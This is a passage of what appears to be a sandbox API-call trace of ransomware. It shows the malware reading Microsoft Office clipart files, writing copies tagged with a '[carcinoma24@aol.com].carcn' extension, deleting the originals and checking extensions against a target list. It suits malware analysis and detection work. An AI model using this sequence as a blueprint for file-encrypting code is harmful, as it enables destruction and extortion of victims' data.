CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.217] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.217] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.218] GetLastError () returned 0x0 [0281.218] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0281.306] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0281.307] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.307] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.308] SetEndOfFile (hFile=0x4a8) returned 1 [0281.308] CloseHandle (hObject=0x4a8) returned 1 [0281.308] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.308] SetEndOfFile (hFile=0x4bc) returned 1 [0281.312] CloseHandle (hObject=0x4bc) returned 1 [0281.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0281.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.314] lstrlenW (lpString=".doc") returned 4 [0281.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.314] lstrlenW (lpString=".docx") returned 5 [0281.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.314] lstrlenW (lpString=".pdf") returned 4 [0281.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.314] lstrlenW (lpString=".xls") returned 4 [0281.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.314] lstrlenW (lpString=".xlsx") returned 5 [0281.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.314] lstrlenW (lpString=".ppt") returned 4 [0281.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.314] lstrlenW (lpString=".zip") returned 4 [0281.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.314] lstrlenW (lpString=".rar") returned 4 [0281.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.314] lstrlenW (lpString=".bz2") returned 4 [0281.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.314] lstrlenW (lpString=".7z") returned 3 [0281.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.315] lstrlenW (lpString=".dbf") returned 4 [0281.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.315] lstrlenW (lpString=".1cd") returned 4 [0281.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0281.315] lstrlenW (lpString=".jpg") returned 4 [0281.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.316] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=11002) returned 1 [0281.316] CloseHandle (hObject=0x4bc) returned 1 [0281.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0281.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.317] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.317] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.319] GetLastError () returned 0x0 [0281.319] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0281.430] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0281.432] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.432] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.432] SetEndOfFile (hFile=0x4a8) returned 1 [0281.440] CloseHandle (hObject=0x4a8) returned 1 [0281.442] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.442] SetEndOfFile (hFile=0x4bc) returned 1 [0281.458] CloseHandle (hObject=0x4bc) returned 1 [0281.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0283.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.088] lstrlenW (lpString=".doc") returned 4 [0283.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.088] lstrlenW (lpString=".docx") returned 5 [0283.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.088] lstrlenW (lpString=".pdf") returned 4 [0283.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.088] lstrlenW (lpString=".xls") returned 4 [0283.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.089] lstrlenW (lpString=".xlsx") returned 5 [0283.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.089] lstrlenW (lpString=".ppt") returned 4 [0283.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.089] lstrlenW (lpString=".zip") returned 4 [0283.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.089] lstrlenW (lpString=".rar") returned 4 [0283.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.089] lstrlenW (lpString=".bz2") returned 4 [0283.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.089] lstrlenW (lpString=".7z") returned 3 [0283.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.089] lstrlenW (lpString=".dbf") returned 4 [0283.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.089] lstrlenW (lpString=".1cd") returned 4 [0283.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0283.089] lstrlenW (lpString=".jpg") returned 4 [0283.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.091] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=10316) returned 1 [0283.091] CloseHandle (hObject=0x530) returned 1 [0283.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0283.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.092] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.092] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0283.094] GetLastError () returned 0x0 [0283.094] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x284c, lpOverlapped=0x0) returned 1 [0283.123] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2850, lpOverlapped=0x0) returned 1 [0283.124] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.125] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.125] SetEndOfFile (hFile=0x554) returned 1 [0283.126] CloseHandle (hObject=0x554) returned 1 [0283.130] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.130] SetEndOfFile (hFile=0x530) returned 1 [0283.134] CloseHandle (hObject=0x530) returned 1 [0283.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0283.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.135] lstrlenW (lpString=".doc") returned 4 [0283.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.135] lstrlenW (lpString=".docx") returned 5 [0283.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.135] lstrlenW (lpString=".pdf") returned 4 [0283.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.135] lstrlenW (lpString=".xls") returned 4 [0283.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.136] lstrlenW (lpString=".xlsx") returned 5 [0283.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.136] lstrlenW (lpString=".ppt") returned 4 [0283.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.136] lstrlenW (lpString=".zip") returned 4 [0283.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.136] lstrlenW (lpString=".rar") returned 4 [0283.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.136] lstrlenW (lpString=".bz2") returned 4 [0283.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.136] lstrlenW (lpString=".7z") returned 3 [0283.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.136] lstrlenW (lpString=".dbf") returned 4 [0283.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.136] lstrlenW (lpString=".1cd") returned 4 [0283.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0283.136] lstrlenW (lpString=".jpg") returned 4 [0283.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.137] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=30414) returned 1 [0283.137] CloseHandle (hObject=0x530) returned 1 [0283.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0283.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.139] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.139] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0283.140] GetLastError () returned 0x0 [0283.140] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0283.169] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0283.170] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.171] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.171] SetEndOfFile (hFile=0x554) returned 1 [0283.171] CloseHandle (hObject=0x554) returned 1 [0283.171] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.171] SetEndOfFile (hFile=0x530) returned 1 [0283.220] CloseHandle (hObject=0x530) returned 1 [0283.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0283.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.222] lstrlenW (lpString=".doc") returned 4 [0283.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.223] lstrlenW (lpString=".docx") returned 5 [0283.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.223] lstrlenW (lpString=".pdf") returned 4 [0283.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.223] lstrlenW (lpString=".xls") returned 4 [0283.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.223] lstrlenW (lpString=".xlsx") returned 5 [0283.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.223] lstrlenW (lpString=".ppt") returned 4 [0283.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.223] lstrlenW (lpString=".zip") returned 4 [0283.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.223] lstrlenW (lpString=".rar") returned 4 [0283.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.223] lstrlenW (lpString=".bz2") returned 4 [0283.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.223] lstrlenW (lpString=".7z") returned 3 [0283.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.237] lstrlenW (lpString=".dbf") returned 4 [0283.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.247] lstrlenW (lpString=".1cd") returned 4 [0283.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0283.247] lstrlenW (lpString=".jpg") returned 4 [0283.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.248] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.249] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.249] GetLastError () returned 0x0 [0283.250] ReadFile (in: hFile=0x524, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x88c, lpOverlapped=0x0) returned 1 [0283.255] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x890, lpOverlapped=0x0) returned 1 [0283.257] ReadFile (in: hFile=0x524, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.257] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.257] SetEndOfFile (hFile=0x4a8) returned 1 [0283.257] CloseHandle (hObject=0x4a8) returned 1 [0283.257] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.257] SetEndOfFile (hFile=0x524) returned 1 [0283.261] CloseHandle (hObject=0x524) returned 1 [0283.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0283.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0283.262] lstrlenW (lpString=".doc") returned 4 [0283.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.263] lstrlenW (lpString=".docx") returned 5 [0283.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.263] lstrlenW (lpString=".pdf") returned 4 [0283.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.263] lstrlenW (lpString=".xls") returned 4 [0283.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.263] lstrlenW (lpString=".xlsx") returned 5 [0283.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.263] lstrlenW 